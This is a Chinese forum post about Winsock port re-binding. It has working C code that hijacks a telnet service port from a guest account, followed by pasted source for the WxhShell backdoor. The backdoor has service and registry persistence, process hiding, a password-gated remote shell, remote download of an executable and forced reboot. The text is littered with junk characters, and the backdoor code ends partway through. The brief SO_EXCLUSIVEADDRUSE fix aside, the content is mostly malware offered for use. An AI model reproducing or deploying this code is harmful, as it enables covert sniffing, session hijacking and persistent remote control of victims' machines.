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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: p'7*6bj1  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); eW5SFY.  
p G1WXbqW  
  saddr.sin_family = AF_INET; m,C1J%{^  
lif&@o f  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 8 C[/dH  
KL$bqgc(p3  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^7zu<lX  
}Sy=My89r  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 n  -(  
Hbv6_H  
  这意味着什么?意味着可以进行如下的攻击: qW:HNEiir  
kmzH'wktt  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 6T 8!xyi-+  
DCqY|4Qc  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) .ERO|$fv  
Oo kh<ES>  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 f&v9Q97=  
"ju6XdZo  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ;7N{^"r  
[Nn`l,  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 }neY<{z  
c'/l,k  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。  hI9  
__mF ?m  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 (/35p g6\  
@gY)8xMbA  
  #include  V#VN %{  
  #include UAoh`6vFF8  
  #include )K &(  
  #include    %HrAzM.QBF  
  DWORD WINAPI ClientThread(LPVOID lpParam);   df7wN#kO+  
  int main() N F)~W#  
  { dOa%9[  
  WORD wVersionRequested; jKt7M>P  
  DWORD ret; Eke5Nb  
  WSADATA wsaData; 6Gf?m;  
  BOOL val; 2eMTxwt*S  
  SOCKADDR_IN saddr; fb^fVSh>  
  SOCKADDR_IN scaddr; ]_N|L|]M  
  int err; 95el'K[R  
  SOCKET s; )"Ztlhs`#  
  SOCKET sc; d!eYqM7-G  
  int caddsize; x.S3Zi}=  
  HANDLE mt; M4as  
  DWORD tid;   ;!(<s,c#:  
  wVersionRequested = MAKEWORD( 2, 2 ); *z@>!8?  
  err = WSAStartup( wVersionRequested, &wsaData ); j?'GZ d"B  
  if ( err != 0 ) { 98^V4maR:  
  printf("error!WSAStartup failed!\n"); t!RiUZAo  
  return -1; !47n[Zs  
  } <[w=TdCPs  
  saddr.sin_family = AF_INET; #%DE;  
   ):iA\A5q[  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 -GxaV #{  
m*JaXa  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); UFMA:o,  
  saddr.sin_port = htons(23); eM8}X[  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <)1qt 9  
  { F$)[kP,wtO  
  printf("error!socket failed!\n"); 82l~G;.n3  
  return -1; Bve.C  
  } HTG%t/S  
  val = TRUE; ~3<> 3p  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 wmTb97o  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) d3xmtG {i  
  { F6z%VWU  
  printf("error!setsockopt failed!\n"); ;+"+3  
  return -1; V:y'Qf2M  
  } F w?[lS  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; `nu''B H  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Ofs <EQ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $< JaLS  
9 AJ(&qY(  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) <7~'; K  
  { A}l3cP; `#  
  ret=GetLastError(); WPQ fhr#|  
  printf("error!bind failed!\n"); a |X a3E  
  return -1; ui?  
  } &v@a5L  
  listen(s,2); LGn:c;  
  while(1) B6={&7U2  
  { 'dn]rV0(C  
  caddsize = sizeof(scaddr); !z>6 Uf!{  
  //接受连接请求 2'w?\{}D  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); \.-bZ$  
  if(sc!=INVALID_SOCKET) gw!vlwC&T  
  { w(L4A0K[  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); :> 5@cvc  
  if(mt==NULL) DA\2rLs  
  { j:v@pzTD  
  printf("Thread Creat Failed!\n"); ZP(f3X@  
  break; uLV#SQ=bZN  
  } {e 14[0U-  
  } YuO.yh_  
  CloseHandle(mt); z:wutqru  
  } :;9F>?VN>0  
  closesocket(s); r8RoE`/T  
  WSACleanup(); ,>%}B3O:Y=  
  return 0; #pnI\  
  }   )P sY($ &  
  DWORD WINAPI ClientThread(LPVOID lpParam) NPp;78O0[  
  { 'd9INz.  
  SOCKET ss = (SOCKET)lpParam; %#kg#@z_`e  
  SOCKET sc; %lGl,me H  
  unsigned char buf[4096]; 9w7n1k.  
  SOCKADDR_IN saddr; r97pOs#5:  
  long num; 2fL;-\!y(  
  DWORD val; H*PSR  
  DWORD ret; Y^wW2-,m  
  //如果是隐藏端口应用的话,可以在此处加一些判断 8)_XJ"9)G  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   bE !GJZ  
  saddr.sin_family = AF_INET; _z|65H  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); JkbQyn  
  saddr.sin_port = htons(23); <<][hQs  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |IzPgC  
  { 8<QdMkI  
  printf("error!socket failed!\n"); ;@oN s-  
  return -1; &OH={Au  
  } Li4zTR|U  
  val = 100; K  &N  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {'NvG  
  { cQ R]le %(  
  ret = GetLastError(); ]>5/PD,wWy  
  return -1; 5Odhb  
  } vg32y /l]S  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) b gK}-EU  
  { Po^?QVJ7  
  ret = GetLastError(); zBzZxK>$  
  return -1; u. F9g #  
  } VY7[)  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) zHM(!\8K  
  { \!.B+7t=I  
  printf("error!socket connect failed!\n"); UM"- nZ>[  
  closesocket(sc); L0TFo_  
  closesocket(ss); +nFu|qM}  
  return -1; W{ q U  
  } !Wntd\w  
  while(1) n{ar gI8wF  
  { m#| 9hMu  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Q+{xZ'o"Z  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Rl?_^dPx  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 f.KN-f8<F  
  num = recv(ss,buf,4096,0); YJT&{jYi  
  if(num>0) OrY/`+Cog  
  send(sc,buf,num,0); iP ->S\  
  else if(num==0) r@H /kD  
  break; . YAT:;L  
  num = recv(sc,buf,4096,0); nFHUy9q  
  if(num>0) ^ B fC  
  send(ss,buf,num,0); )q8pk2  
  else if(num==0) K0|FY=#2y  
  break; 2*laAB  
  } #A JDWelD  
  closesocket(ss); 3u+T~g0^  
  closesocket(sc); U:0mp"  
  return 0 ; V^bwXr4f  
  } {k TE He  
p>v$FiV2N  
3M[! N  
========================================================== ZbW17@b  
Y!w`YYKP  
下边附上一个代码,,WXhSHELL wd8 l$*F*  
*&^Pj%DX  
========================================================== B" 1c  
Bq%Jh  
#include "stdafx.h" |4;Fd9q^m  
,~N/- 5  
#include <stdio.h> IL#"~D?  
#include <string.h> wDal5GJp  
#include <windows.h> l[0RgO*S  
#include <winsock2.h> k8&;lgO '  
#include <winsvc.h> HdUQCugxx:  
#include <urlmon.h> |"8b_Cq{  
X9W@&zQ  
#pragma comment (lib, "Ws2_32.lib") ]8_NZHld  
#pragma comment (lib, "urlmon.lib") 5H<m$K4z  
6 $4[gcL'  
#define MAX_USER   100 // 最大客户端连接数 y}" O U  
#define BUF_SOCK   200 // sock buffer l*Gvf_UH  
#define KEY_BUFF   255 // 输入 buffer @<hb6bo,N  
-A^_{4X  
#define REBOOT     0   // 重启 +SR+gE\s0  
#define SHUTDOWN   1   // 关机 P^ ~yzI  
_7Ju  
#define DEF_PORT   5000 // 监听端口 4yy>jXDG  
/$Nsd  
#define REG_LEN     16   // 注册表键长度 8Z8gRcv{p  
#define SVC_LEN     80   // NT服务名长度 2j [=\K]  
C!<Ou6}!b  
// 从dll定义API XPXIg  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )4e.k$X^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _YhES-Ff  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x}Eg.S  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {T$9?`h~M  
Cgk<pky1  
// wxhshell配置信息 y@S$^jk.  
struct WSCFG { U`(ee*}o  
  int ws_port;         // 监听端口 k_#ak%m/  
  char ws_passstr[REG_LEN]; // 口令 iy.p n  
  int ws_autoins;       // 安装标记, 1=yes 0=no G" qv z{*  
  char ws_regname[REG_LEN]; // 注册表键名 {L{o]Ii?g  
  char ws_svcname[REG_LEN]; // 服务名 1hY{k{+o  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 HmGWht6R  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 o q Xg  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {3mRq"e  
int ws_downexe;       // 下载执行标记, 1=yes 0=no EHJ.T~X  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" GY'%+\*tj  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #jvtUS\  
hR?{3d#x2  
}; `,<BCu  
hn G Z=  
// default Wxhshell configuration PJ|P1O36a  
struct WSCFG wscfg={DEF_PORT, me$Z~/Akm  
    "xuhuanlingzhe", AlaW=leTe  
    1, 5{X<y#vAC0  
    "Wxhshell", {UI+$/v#  
    "Wxhshell", y%cP1y)  
            "WxhShell Service", hED}h![  
    "Wrsky Windows CmdShell Service", g wRZ%.Cn  
    "Please Input Your Password: ", `r6,+&  
  1, UcHJR"M~c  
  "http://www.wrsky.com/wxhshell.exe", Rsm^Z!sn  
  "Wxhshell.exe" yS'I[l  
    }; -$ls(oot  
4SxX3Fw  
// 消息定义模块 q"lSZ; 'E  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <dtGK~_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6@5+m 0`u3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >1Ibc=}g  
char *msg_ws_ext="\n\rExit."; E<Y$>uKA  
char *msg_ws_end="\n\rQuit."; GR_-9}jQP  
char *msg_ws_boot="\n\rReboot..."; `4J$Et%S  
char *msg_ws_poff="\n\rShutdown..."; l ukB8  
char *msg_ws_down="\n\rSave to "; m=:9+z  
'o2Fa_|<#  
char *msg_ws_err="\n\rErr!"; Dw.J2>uj  
char *msg_ws_ok="\n\rOK!"; m+[Ux{$  
c7k~S-nU  
char ExeFile[MAX_PATH]; H/ HMm{4  
int nUser = 0; Ax7[;|2  
HANDLE handles[MAX_USER]; &K#M*B ,*p  
int OsIsNt; IM'r8 V  
K;G~V\  
SERVICE_STATUS       serviceStatus; p8O2Z? \  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :P~6~ K um  
?);v`]  
// 函数声明 1.GQau~  
int Install(void); ;A'mB6?%H  
int Uninstall(void); `*R:gE=  
int DownloadFile(char *sURL, SOCKET wsh); i-_mTY&M  
int Boot(int flag); M5X&}cN6  
void HideProc(void); %ntRG !  
int GetOsVer(void); Xc-'Y"}|`t  
int Wxhshell(SOCKET wsl); T.BW H2gRP  
void TalkWithClient(void *cs); A?P_DA  
int CmdShell(SOCKET sock); 6%_nZvRv  
int StartFromService(void); UB@+c k  
int StartWxhshell(LPSTR lpCmdLine); K+3=tk]W9u  
+I|vzz`ZVr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); KkbDW3-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7Ovi{xd@  
^jZbo {  
// 数据结构和表定义 Ow,w$0(D  
SERVICE_TABLE_ENTRY DispatchTable[] = [RhO$c$[\  
{ |/{=ww8|  
{wscfg.ws_svcname, NTServiceMain}, SY\ gXO8k  
{NULL, NULL} ",; H`V  
}; ~B?y{  
8cIKvHx  
// 自我安装 Ve; n}mJ?  
int Install(void) / zPO  
{ <\^8fn   
  char svExeFile[MAX_PATH]; f2`2,?  
  HKEY key; VY4yS*y  
  strcpy(svExeFile,ExeFile); sDlO#  
aEeodA<(  
// 如果是win9x系统,修改注册表设为自启动 %7.30CA|#  
if(!OsIsNt) { ?CPahU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bROLOf4S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9W2Vo [(  
  RegCloseKey(key);  x'<X!gw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3XV/Fb}!(i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )3EY;  
  RegCloseKey(key); ;HO=  
  return 0; .#8 JCY  
    } /y}xX  
  } vA8nvoi  
} !%c\N8<>GD  
else { )Ql%r?(F+  
Vt#.eL)Ee  
// 如果是NT以上系统,安装为系统服务 e(t\g^X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); E:nF$#<'N  
if (schSCManager!=0) NC(~l  
{ zQd 2  
  SC_HANDLE schService = CreateService 64tvP^kp  
  ( k5pN  
  schSCManager, %* }(}~  
  wscfg.ws_svcname, 2\{zmc}G-0  
  wscfg.ws_svcdisp, uK Hxe~  
  SERVICE_ALL_ACCESS, M8(t 'jN  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4H&+dR I"  
  SERVICE_AUTO_START, "^%cJAnLX  
  SERVICE_ERROR_NORMAL, jNk%OrP]  
  svExeFile, l]8uk^E  
  NULL, VMWf>ZU  
  NULL, 0@oJFJrO  
  NULL, ud('0 r',D  
  NULL, *$g-:ILRuZ  
  NULL vr =#3>  
  ); +CNv l  
  if (schService!=0) X'iWJ8  
  { wFZP,fQ9l  
  CloseServiceHandle(schService); .?$gpM?i  
  CloseServiceHandle(schSCManager); 4.t-i5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); W'M*nR|xo  
  strcat(svExeFile,wscfg.ws_svcname); Ysv" 6b}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { T6=u P)!K  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); a&? :P1$  
  RegCloseKey(key); .$vK&k  
  return 0; 7qS)c}Q\  
    } Y}wyw8g/  
  } oUlVI*~ND  
  CloseServiceHandle(schSCManager); A*BeR0(  
} 3^yK!-Wp(  
} o66}yJzmD  
xJ.M;SF4  
return 1; utV_W&  
} TM%%O :3  
+ {'.7#  
// 自我卸载 uwGc@xOgg,  
int Uninstall(void) zdam^o  
{ A.w.rVDD  
  HKEY key; qIT@g"%}t  
X"%gQ.1|{j  
if(!OsIsNt) { )9]PMA?u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1$h,m63)  
  RegDeleteValue(key,wscfg.ws_regname); vnuN6M{  
  RegCloseKey(key); 5v*\Zr5ha  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nX8v+:&}  
  RegDeleteValue(key,wscfg.ws_regname); CU!Dhm/U  
  RegCloseKey(key); b&U62iq  
  return 0; 2D5StCF$O  
  } #Gi$DMW  
} [Y`W  
} ]7A'7p $Y  
else { < =IFcN  
7b+6%fV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?}Y]|c^W  
if (schSCManager!=0) oQJtUP%  
{ pd$[8Rmj_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _lq`a\7e  
  if (schService!=0) Tw<q,O  
  { 1< ?4\?j  
  if(DeleteService(schService)!=0) { x kD6Iw  
  CloseServiceHandle(schService); n+M<\  
  CloseServiceHandle(schSCManager); 6ik$B   
  return 0; '~ 47)fN  
  } .T`%tJ-Em  
  CloseServiceHandle(schService); E2-\]?\F(  
  } Wx#;E9=Im  
  CloseServiceHandle(schSCManager); ) )Za&S*<  
} :g/tZd$G5  
} uPvEwq* C  
{oL>1h,%3?  
return 1; apn*,7ps65  
} ;hq\  
'Pbr v  
// 从指定url下载文件 uXiN~j &Be  
int DownloadFile(char *sURL, SOCKET wsh) #O&8A  
{ uQzXfOq  
  HRESULT hr; m]&SNz=  
char seps[]= "/"; t6t!t*jO  
char *token; 7d\QB (~  
char *file; K (|}dl:  
char myURL[MAX_PATH]; @O~pV`_tD  
char myFILE[MAX_PATH]; l U]nd[x  
R.3q0yZ wF  
strcpy(myURL,sURL); cWm$;`Q#\  
  token=strtok(myURL,seps); # f\rt   
  while(token!=NULL) 8zb /xP>  
  { n=q 76W\  
    file=token; 0n'_{\yz  
  token=strtok(NULL,seps); cZ3v=ke^  
  } _yT Ed"$  
!<F3d`a  
GetCurrentDirectory(MAX_PATH,myFILE); fV~[;e;U.  
strcat(myFILE, "\\"); GLODVcjf  
strcat(myFILE, file); 1Z&(6cDY8M  
  send(wsh,myFILE,strlen(myFILE),0); TcoB,Kdce  
send(wsh,"...",3,0); glw+l'@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ho]su?  
  if(hr==S_OK) 2Khv>#l  
return 0; =EsavN  
else (;,sc$H]  
return 1; s#GLJl\E_P  
!'I8:v&D  
} d_P` qA  
nr#|b`J]  
// 系统电源模块 u%!@(eKM-  
int Boot(int flag) 'c~4+o4co  
{ W%Fv p;\`  
  HANDLE hToken; moE2G?R  
  TOKEN_PRIVILEGES tkp; [N'h%1]\  
.]K%G\*`:  
  if(OsIsNt) { Vt ohL+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1E$|~   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); wgA_38To  
    tkp.PrivilegeCount = 1; y)<q /  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; to&m4+5?6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [-x7_=E#  
if(flag==REBOOT) { k;W XB|k  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `H+ lPM66  
  return 0; 4&iCht =  
} KY^Z  
else { "wc<B4"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2Z%O7V~u  
  return 0; IVmo5,&5(  
} E(|>Ddv B&  
  } 8cQ'dL`(  
  else { yh=N@Z*zP  
if(flag==REBOOT) { 8b=_Y;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5LMw?P.<  
  return 0; LH6 vLuf  
} }PpUAt~g  
else { T8NxJmYqB  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T^q 0'#/  
  return 0; Mb=" Te>|  
} fXB0j;A  
} Vw"\{`  
tf G@&&%9  
return 1; fc@A0Hf  
} &m vSiyKX  
048kPXm`  
// win9x进程隐藏模块 DV{=n C  
void HideProc(void) Hx:;@_g q  
{ hv+zGID7  
PI<vxjOK`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1YMh1+1  
  if ( hKernel != NULL ) 2T`!v  
  { =R\]=cRbg  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rM "l@3hP  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); OrG).^l  
    FreeLibrary(hKernel); 1:wQ.T  
  } i6N',&jFU  
-$@h1Y  
return; .e5Mnd%$M  
} j|Q-*]V  
C7?/%7{  
// 获取操作系统版本 et+0FF ,  
int GetOsVer(void) }1xo-mUg,  
{ ?fS9J  
  OSVERSIONINFO winfo; ^C%<l( b  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \Og+c%  
  GetVersionEx(&winfo); jFb?b6b  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) i?;Kq~,  
  return 1; ~{gqsuCCL  
  else B1Oq!k  
  return 0; \[nut;  
} =Runf +}  
LHmZxi?  
// 客户端句柄模块 Rva$IX ^]  
int Wxhshell(SOCKET wsl)  C.QO#b  
{ eiOW#_"\  
  SOCKET wsh; 9ll~~zF99|  
  struct sockaddr_in client; "I TIhnE  
  DWORD myID; zn(PI3+]!  
Ct|A:/z(  
  while(nUser<MAX_USER) A70d\i  
{ `,0}ZzaV&  
  int nSize=sizeof(client); tI{_y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); y!%CffF2  
  if(wsh==INVALID_SOCKET) return 1; ?hM64jI|  
/Q )\+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); A(N4N  
if(handles[nUser]==0) +^<](z  
  closesocket(wsh); cGD(.=  
else BPHW}F]X  
  nUser++; WjjB<YKzF  
  } {_dvx*M  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); fn!KQ`,#  
4`R(?  
  return 0; _tXlF;  
} %%wNZ{  
M@ZI\  
// 关闭 socket KG5>]_GH  
void CloseIt(SOCKET wsh) ]s748+  
{ \|ao`MMaD<  
closesocket(wsh); v.ui!|c  
nUser--; bu"!jHPB  
ExitThread(0); ~v"L!=~G;a  
} m4yL@d,Yw  
'%`:+]!  
// 客户端请求句柄 -`t^7pr  
void TalkWithClient(void *cs) wvPk:1wD5  
{ i 3SHg\~Z  
Tac$LS\Q  
  SOCKET wsh=(SOCKET)cs; >"<Wjr8W!$  
  char pwd[SVC_LEN]; !g.?  
  char cmd[KEY_BUFF]; EZ`{Wnbq  
char chr[1];  RX5dO%  
int i,j; s|ITsz0,td  
b_):MQ1{  
  while (nUser < MAX_USER) { xP,hTE  
YgoBHE0#  
if(wscfg.ws_passstr) { FsryEHz  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 188*XCtjQ9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I`p;F!s  
  //ZeroMemory(pwd,KEY_BUFF); as_PoCoss  
      i=0; 5 u0HI  
  while(i<SVC_LEN) { eR"<33{  
;({W#Wa  
  // 设置超时 Z(!\% mn  
  fd_set FdRead; @ry_nKr9  
  struct timeval TimeOut; 2 Vrw  
  FD_ZERO(&FdRead); 1'\/,Es  
  FD_SET(wsh,&FdRead); IaXeRq?<  
  TimeOut.tv_sec=8; fd2T=fz-  
  TimeOut.tv_usec=0; &8 x-o,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); BVO<e \>3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); K96<M);:g  
}>X~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O1mKe%'|  
  pwd=chr[0]; ,4oo=&  
  if(chr[0]==0xd || chr[0]==0xa) { bY0|N[ g  
  pwd=0; o0vUj  
  break; _ORvo{[:  
  } ;d9QAN&0}  
  i++; D5HZ2cz|a  
    } "FKOaQ%IH  
@{O`E^}-D  
  // 如果是非法用户,关闭 socket _#h_:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); uR r o?m<  
} z]9MM 2+  
|H+Wed|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); UZsH9 o  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IobD3:D8W  
:Z z '1C  
while(1) { {> 0wiH#!E  
Z/;aT -N  
  ZeroMemory(cmd,KEY_BUFF); \} :PLCKT  
*=7U4W  
      // 自动支持客户端 telnet标准   ,nB5/Lx  
  j=0; tC9n k5~  
  while(j<KEY_BUFF) { g'qa}/X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N' `A?&2ru  
  cmd[j]=chr[0]; cpJ|w3x B  
  if(chr[0]==0xa || chr[0]==0xd) { 7x4PaX(  
  cmd[j]=0; t1y4 7fX6  
  break; J S_]FsxD  
  } 0=E]cQwh  
  j++; 0s2v'A[\  
    } `^Em&6!!  
<yFu*(Q  
  // 下载文件 6b \&~b@T  
  if(strstr(cmd,"http://")) {  'CkIz"Wd  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); H}bJ"(9$vC  
  if(DownloadFile(cmd,wsh)) v-_e)m^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); vOpK Np  
  else 7s{GbU\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <<R*2b  
  } b`O'1r\Y;  
  else { DZ PPJ2}  
QW(Mz Hg  
    switch(cmd[0]) { }@+:\   
  ~1vDV>dpE  
  // 帮助 [^98fAlz6  
  case '?': { xx%j.zDI]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _8_R 1s  
    break; p sMvq@>  
  } @7j AL-  
  // 安装 v<(  
  case 'i': { "mvt>X  
    if(Install()) h|{]B,.Lh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <T|3`#o0  
    else l&Q`wR5e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EGF '"L  
    break; 76h ,]xi  
    } oEKvl3Hz_  
  // 卸载 =w 2**$  
  case 'r': { l#Y,R 0  
    if(Uninstall()) xRLT=.ir  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aH/ k Ua  
    else k5.Lna  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'op|B@y  
    break; ;P%1j|7  
    } KEjWRwN  
  // 显示 wxhshell 所在路径 O5nD+qTQ#  
  case 'p': { .MoU1n{Yc  
    char svExeFile[MAX_PATH]; RO/FF<f  
    strcpy(svExeFile,"\n\r"); GH:jH]u!V  
      strcat(svExeFile,ExeFile); G^4hd i3@  
        send(wsh,svExeFile,strlen(svExeFile),0); '^~{@~ ;%L  
    break; 65$+{s  
    } nwRc%C``UK  
  // 重启 MJ [m  
  case 'b': { "Nbq#w\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8(&[Rs?K  
    if(Boot(REBOOT)) /zVOK4BqN+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B; h"lv  
    else { .jT#:_  
    closesocket(wsh); 9c,'k#k  
    ExitThread(0); N.{H,oO `  
    } Jgd'1'FOs  
    break; e_ANUll1  
    } 8_B4?` k  
  // 关机 ;dZZ;#k%  
  case 'd': { T{ XS")Vw  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9u}Hmb  
